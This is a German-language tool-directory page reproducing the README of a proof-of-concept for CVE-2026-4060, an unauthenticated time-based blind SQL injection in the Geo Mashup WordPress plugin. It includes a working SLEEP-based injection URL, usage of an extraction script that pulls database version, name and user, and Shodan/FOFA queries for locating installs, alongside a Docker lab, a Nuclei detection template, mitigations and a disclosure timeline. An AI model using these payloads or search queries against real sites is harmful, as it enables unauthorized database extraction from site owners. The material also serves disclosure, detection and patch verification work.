Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-4060-PoC — Proof-of-concept für CVE-2026-4060: nicht authentifizierte zeitbasierte Blind-SQL-Injection im Geo Mashup WordPress-Plugin über die ORDER BY-Klausel. Enthält Exploit-Skript, Laborumgebung und Nuclei-Erkennungsvorlage. | Kitploit
Tools/GitHubGitHub/ydking0911/cve-2026-4060-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & Bildung
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

Proof-of-concept für CVE-2026-4060: nicht authentifizierte zeitbasierte Blind-SQL-Injection im Geo Mashup WordPress-Plugin über die ORDER BY-Klausel. Enthält Exploit-Skript, Laborumgebung und Nuclei-Erkennungsvorlage.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 Unangemeldete SQL-Injection PoC

Severity CVSS Type Status

Unangemeldete Angreifer können beliebiges SQL in die ORDER BY-Klausel über den Parameter sort des render-map-Endpunkts von Geo Mashup einschleusen, was eine zeitbasierte Blind-Extraktion sensibler Datenbankinformationen ermöglicht.


Inhaltsverzeichnis

  • Überblick über die Schwachstelle
  • Testumgebung
  • Ausführung
  • Testergebnisse
  • Gegenmaßnahmen
  • Erkennung
  • Zeitplan
  • Referenzen

  • Überblick über die Schwachstelle

    FeldDetail
    CVECVE-2026-4060
    PluginGeo Mashup von cyberhobo
    Betroffen≤ 1.13.18
    Behoben in1.13.19
    CVSS v3.17.5 (Hoch) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    CWECWE-89 — Fehlerhafte Neutralisierung spezieller Elemente in SQL
    Authentifizierung erforderlichKeine (unangemeldet)

    Technisches Detail

    Der vom render-map-Endpunkt akzeptierte Parameter sort wird ohne Bereinigung direkt an einen $wpdb->get_results()-Aufruf übergeben:

    root@kitploit:~
    // render-map.php (vereinfacht)
    $sort = $_GET['sort'];
    $results = $wpdb->get_results(
        "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
    );
    

    Da $sort unverändert interpoliert wird, kann ein Angreifer eine Unterabfrage in die ORDER BY-Klausel einschleusen. WordPress’ wpdb escaped einfache Anführungszeichen, daher verwendet der PoC ORD(SUBSTRING(...)) mit numerischen Vergleichen, um diese Einschränkung zu umgehen und eine zeitbasierte Blind-Extraktion durchzuführen.

    Verwundbarer Endpunkt:

    root@kitploit:~
    GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
    

    Testumgebung

    KomponenteVersion
    BetriebssystemmacOS (Darwin 25.4.0)
    Docker27.x
    WordPress6.8.2 (PHP 8.2, Apache)
    MariaDB11.4
    Geo Mashup1.13.18 (verwundbar)
    Python3.x (für poc.py)
    Nucleiv3.8.0

    Laborarchitektur

    root@kitploit:~
    ┌─────────────────────────────────┐
    │  Host (localhost:8080)          │
    │                                 │
    │  ┌─────────────┐  ┌──────────┐  │
    │  │ WordPress   │  │ MariaDB  │  │
    │  │ 6.8.2+PHP82 │──│  11.4    │  │
    │  │ :80         │  │ :3306    │  │
    │  └─────────────┘  └──────────┘  │
    │       + Geo Mashup 1.13.18      │
    └─────────────────────────────────┘
    

    Geo Mashup 1.13.18 aktiv im WordPress-Admin:

    Geo Mashup 1.13.18 aktiv im WordPress-Admin


    Ausführung

    1. Labor starten

    root@kitploit:~
    git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
    cd CVE-2026-4060-PoC
    bash setup.sh
    

    setup.sh wird:

    • WordPress-6.8.2- und MariaDB-11.4-Container starten
    • Geo Mashup 1.13.18 (verwundbare Version) per WP-CLI installieren und aktivieren
    • Einen Geo-getaggten Beitrag erstellen, sodass der Karten-Endpunkt eine gültige Antwort liefert

    Sobald abgeschlossen:

    • Website: http://localhost:8080
    • Admin: http://localhost:8080/wp-admin (Benutzer: admin / Passwort: admin)

    2. Schwachstelle bestätigen (SLEEP-Injection)

    root@kitploit:~
    time curl -s -o /dev/null \
      "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
    

    Eine Antwortverzögerung von ~8 Sekunden bestätigt die ORDER BY-SQL-Injection.

    3. Daten extrahieren (PoC)

    root@kitploit:~
    # Standard — nur extrahierte Ergebnisse ausgeben
    python3 poc.py --url http://localhost:8080
    
    # Ausführlich — jedes Payload, Antwortzeit und extrahiertes Zeichen anzeigen
    python3 poc.py --url http://localhost:8080 --verbose
    
    # Nur SQLi bestätigen, Datenextraktion überspringen
    python3 poc.py --url http://localhost:8080 --confirm-only
    

    4. Nuclei-Erkennungsvorlage ausführen

    root@kitploit:~
    nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
    

    5. Labor abbauen

    root@kitploit:~
    docker compose down -v
    

    Testergebnisse

    Echt positiv (TP) — Verwundbares Ziel

    TP-1: ORDER-BY-SLEEP(8)-Injection bestätigt

    Das Einschleusen einer SLEEP(8)-Unterabfrage über den Parameter sort erzeugt eine Antwortverzögerung von ~8 Sekunden.

    root@kitploit:~
    time curl -s -o /dev/null \
      "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
    

    SLEEP(8) per ORDER BY — 8,05 s Antwort

    TP-2: Datenextraktion (ausführlicher Modus)

    Der PoC extrahiert Daten Zeichen für Zeichen mithilfe von ORD(SUBSTRING(...))-Vergleichen: Payload senden → Antwortzeit messen → Zeichen bestätigen, wenn SLEEP ausgelöst wird.

    root@kitploit:~
    python3 poc.py --url http://localhost:8080 --verbose
    

    poc.py ausführlich — Payload, Timing, extrahierte Zeichen

    Extrahierte Daten:

    AbfrageErgebnis
    VERSION()11.4.10-MariaDB
    DATABASE()wordpress
    USER()[email protected]

    TP-3: Erkennung durch Nuclei-Vorlage

    root@kitploit:~
    [CVE-2026-4060] [http] [high]
    http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
    
    Scan completed in 8.07s. 1 matches found.
    

    Falsch positiv (FP) — Nicht verwundbares Ziel

    Die Nuclei-Vorlage verwendet einen zweistufigen Ablauf, um Fehlalarme zu verhindern.

    FP-1: Geo Mashup nicht installiert

    Wenn readme.txt in Schritt 1 eine 404 zurückgibt, wird der Scan sofort beendet, ohne das SQL-Payload zu senden.

    root@kitploit:~
    Scan completed in 62ms. 0 matches found.   ✅
    

    FP-2: Gepatchte Version (≥ 1.13.19)

    Versionsprüfung des Plugins über readme.txt:

    readme.txt mit Stable tag: 1.13.18

    Wenn compare_versions(version, '<= 1.13.18') fehlschlägt, wird Schritt 2 vollständig übersprungen.

    root@kitploit:~
    Scan completed in 19ms. 0 matches found.   ✅
    

    Gegenmaßnahmen

    AktionDetail
    AktualisierenGeo Mashup auf 1.13.19 oder neuer upgraden
    VorübergehendPlugin deaktivieren, bis ein Update angewendet wird
    WAFSubquery-Injection-Muster in ORDER BY-Klauseln blockieren

    Patch-Commit: plugins.trac.wordpress.org/changeset/3503627


    Erkennung

    Nuclei-Vorlage: nuclei/CVE-2026-4060.yaml

    Erkennungsablauf:

    root@kitploit:~
    Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
            → confirm plugin exists + version <= 1.13.18
    
    Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
            → status 200 + GeoMashup.createMap + duration >= 8s
    

    Shodan / FOFA:

    root@kitploit:~
    Shodan: http.html:"geo-mashup"
    FOFA:   body="geo-mashup"
    

    Zeitplan

    DatumEreignis
    2026-04Schwachstelle entdeckt
    2026-04An Plugin-Autor gemeldet
    2026-05Geo-Mashup-1.13.19-Patch veröffentlicht
    2026-05-14CVE zugewiesen und öffentlich bekannt gegeben

    Referenzen

    • NVD — CVE-2026-4060
    • Wordfence Advisory
    • Plugin Changeset (Fix)
    • CWE-89

    Haftungsausschluss

    Dieses Repository dient ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken.
    Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
    Der Autor ist nicht für jeglichen Missbrauch dieses Materials verantwortlich.

    Tool herunterladen